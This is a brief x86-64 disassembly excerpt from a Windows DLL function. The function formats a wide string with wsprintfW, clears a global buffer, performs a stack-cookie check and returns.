mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x180044770]
lea rdx, [0x180032b80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.180011420
lea rcx, [0x180044770]
xor edx, edx
mov r8d, 0x800
call fcn.180016fd0
mov ebx, 1
mov rcx, qword [0x180044768]
mov qword [0x180044760], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.1800142f0
add rsp, 0x870
pop rbx
ret